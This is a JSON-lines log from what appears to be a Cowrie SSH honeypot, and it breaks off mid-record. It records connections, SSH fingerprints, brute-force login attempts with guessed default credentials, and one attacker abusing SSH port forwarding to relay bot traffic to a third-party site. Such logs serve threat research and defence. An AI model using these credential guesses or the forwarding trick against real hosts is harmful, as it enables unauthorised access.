{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:47.082882Z","src_ip":"45.153.34.195","session":"b18927d343d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":54745,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a225b4be50","protocol":"ssh","message":"New connection: 173.208.188.210:54745 (10.17.0.5:22) [session: 69a225b4be50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:48.037541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:48.044999Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:48.246895Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:48.286187Z","src_ip":"45.153.34.195","session":"b18927d343d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:48.296031Z","src_ip":"91.92.40.36","session":"1170b8f5160d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33468,"dst_ip":"10.17.0.5","dst_port":22,"session":"64e9773c399c","protocol":"ssh","message":"New connection: 45.153.34.195:33468 (10.17.0.5:22) [session: 64e9773c399c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:49.372050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:49.381138Z","src_ip":"45.153.34.195","session":"64e9773c399c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:49.472954Z","src_ip":"45.153.34.195","session":"64e9773c399c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:49.704967Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:50.046829Z","src_ip":"45.153.34.195","session":"64e9773c399c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:51.144277Z","src_ip":"45.153.34.195","session":"64e9773c399c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10114,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce1bc8e6eb1","protocol":"ssh","message":"New connection: 91.92.40.36:10114 (10.17.0.5:22) [session: 2ce1bc8e6eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:52.310256Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":65172,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f945a3ecfc2","protocol":"ssh","message":"New connection: 45.153.34.195:65172 (10.17.0.5:22) [session: 9f945a3ecfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:52.338776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:52.343692Z","src_ip":"45.153.34.195","session":"9f945a3ecfc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:52.432397Z","src_ip":"45.153.34.195","session":"9f945a3ecfc2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:52.632997Z","src_ip":"91.92.40.36","session":"2ce1bc8e6eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:52.636302Z","src_ip":"91.92.40.36","session":"2ce1bc8e6eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:52.815642Z","src_ip":"45.153.34.195","session":"9f945a3ecfc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":35374,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b3553032bb5","protocol":"ssh","message":"New connection: 101.36.122.139:35374 (10.17.0.5:22) [session: 7b3553032bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:53.855993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:53.861552Z","src_ip":"101.36.122.139","session":"7b3553032bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:53.898859Z","src_ip":"45.153.34.195","session":"9f945a3ecfc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:54.079971Z","src_ip":"101.36.122.139","session":"7b3553032bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52399,"dst_ip":"10.17.0.5","dst_port":22,"session":"06e60c567c43","protocol":"ssh","message":"New connection: 123.27.168.40:52399 (10.17.0.5:22) [session: 06e60c567c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:54.385153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:54.392464Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:54.671978Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33252,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad729750a8a","protocol":"telnet","message":"New connection: 128.199.8.54:33252 (159.203.135.109:23) [session: 0ad729750a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:54.677868Z"}
{"eventid":"cowrie.login.failed","username":"pm","password":"pm","message":"login attempt [pm/pm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:54.967856Z","src_ip":"101.36.122.139","session":"7b3553032bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":65188,"dst_ip":"10.17.0.5","dst_port":22,"session":"13ee84a5357f","protocol":"ssh","message":"New connection: 45.153.34.195:65188 (10.17.0.5:22) [session: 13ee84a5357f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:55.322366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:55.327011Z","src_ip":"45.153.34.195","session":"13ee84a5357f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:55.422863Z","src_ip":"45.153.34.195","session":"13ee84a5357f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:55.549100Z","src_ip":"91.92.40.36","session":"2ce1bc8e6eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:55.698608Z","src_ip":"45.153.34.195","session":"13ee84a5357f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:55.827877Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:56.186533Z","src_ip":"101.36.122.139","session":"7b3553032bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:56.349437Z","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:56.781682Z","src_ip":"45.153.34.195","session":"13ee84a5357f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:56.921863Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.193 Mobile/15B150 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PiNSNm1NKUZGQ21GcT54TA%3D%3DWWk6DHZoF%2BinpFf16MnWKfgsyFKk6TjeyKOSXjDxPhN6UDzC3EvWMssaay86NBLJ8QuT3qSCutqOEhdby7nT69HwuQX5w06xLQuiteBYajhIxO99589zxvnntVc%2FLItFPY0iuvm5D0BmXcUp3RDJr3Zi%2BXjUu8kztjlCSCajfxlCY24om000oBX%2BPUDD8Th0L%2FnmjcnYxbj0lxbDgT8l9jG1u6t4%2FXk0VDOowLAx8ENfc3Q4D9DHvIO39aUq7bDjye%2F6wzpc5qiRlu8sVe1VPpQUuZ5hLB9l%2FC5laQSNgeeEECdGSnZe4RR4dp4HCN1HZ%2FPcoqZbmBQ9hrPHZWMltOt76u7RIu4g1i7Rq4dHfNd129lD51Ee0xqKIKnQgolwiVj8dgsD0drnskDV%2FeSRXjSXUf3pPDICcqog6tfqFmwuddvUONUZO8aIC6C%2BLp4qsCan3dZHNGLgSnMDtz%2FH27SWKQD7wvWSC5jojJFV%2F06e8ja6TH05S4gBmXukR6VUE68RLRrotbqDFsKPrdH2XJL5wrBiKy%2Fa53Eao4EkvNWk9S7hBq5WaFaoBC7rwlen9I957lmEtApxmIIWtSqofp7td7CpuBYPwGo1yMgz0kwtGeuA%2BvdPcOoHMpuk0ZyWPHlqQc0vfvzMI4m2V38rF1vHMISr47OVXrxRAiqZfoWzcdPYQOOLGc3eU84TGBxmxkSrL2qoWdYxX%2FzeG9NHhH%2FWcvUISMPeBoX0yPq6HqQqgM4kFjlaOv1%2BmfOJTSnoAtJCQ7zbYb%2BmJvqZWhef3OEP3FARMPh9fK6lhsDox99LJnIaaW7ovJ9ULsYo0N71lxNr%2BPmGes0eOsUzDNDA58lFebj4iTGRx31gYUM12vFjiN2LhEgglXmPAeq%2Fo8K9JDNyVdoOIWV4L7jF2YHiOAdTNZPJAzlDkxpxlYgCNNsiCBBtvLoAS2Hf%2Fs%2BFtTvPEZBXi6j3jj7rAVFMJzhCyaIbdr1vtV8KuN4AFJRFsUYcn1RpuDg7crppHBLL4h8aCffknABowUD8t%2BbnGNPj%2Bftpp1nbhTREcmnhe4r7JNp3Lv3T7vVf0vyN8yHPUKFF'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.193 Mobile/15B150 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: 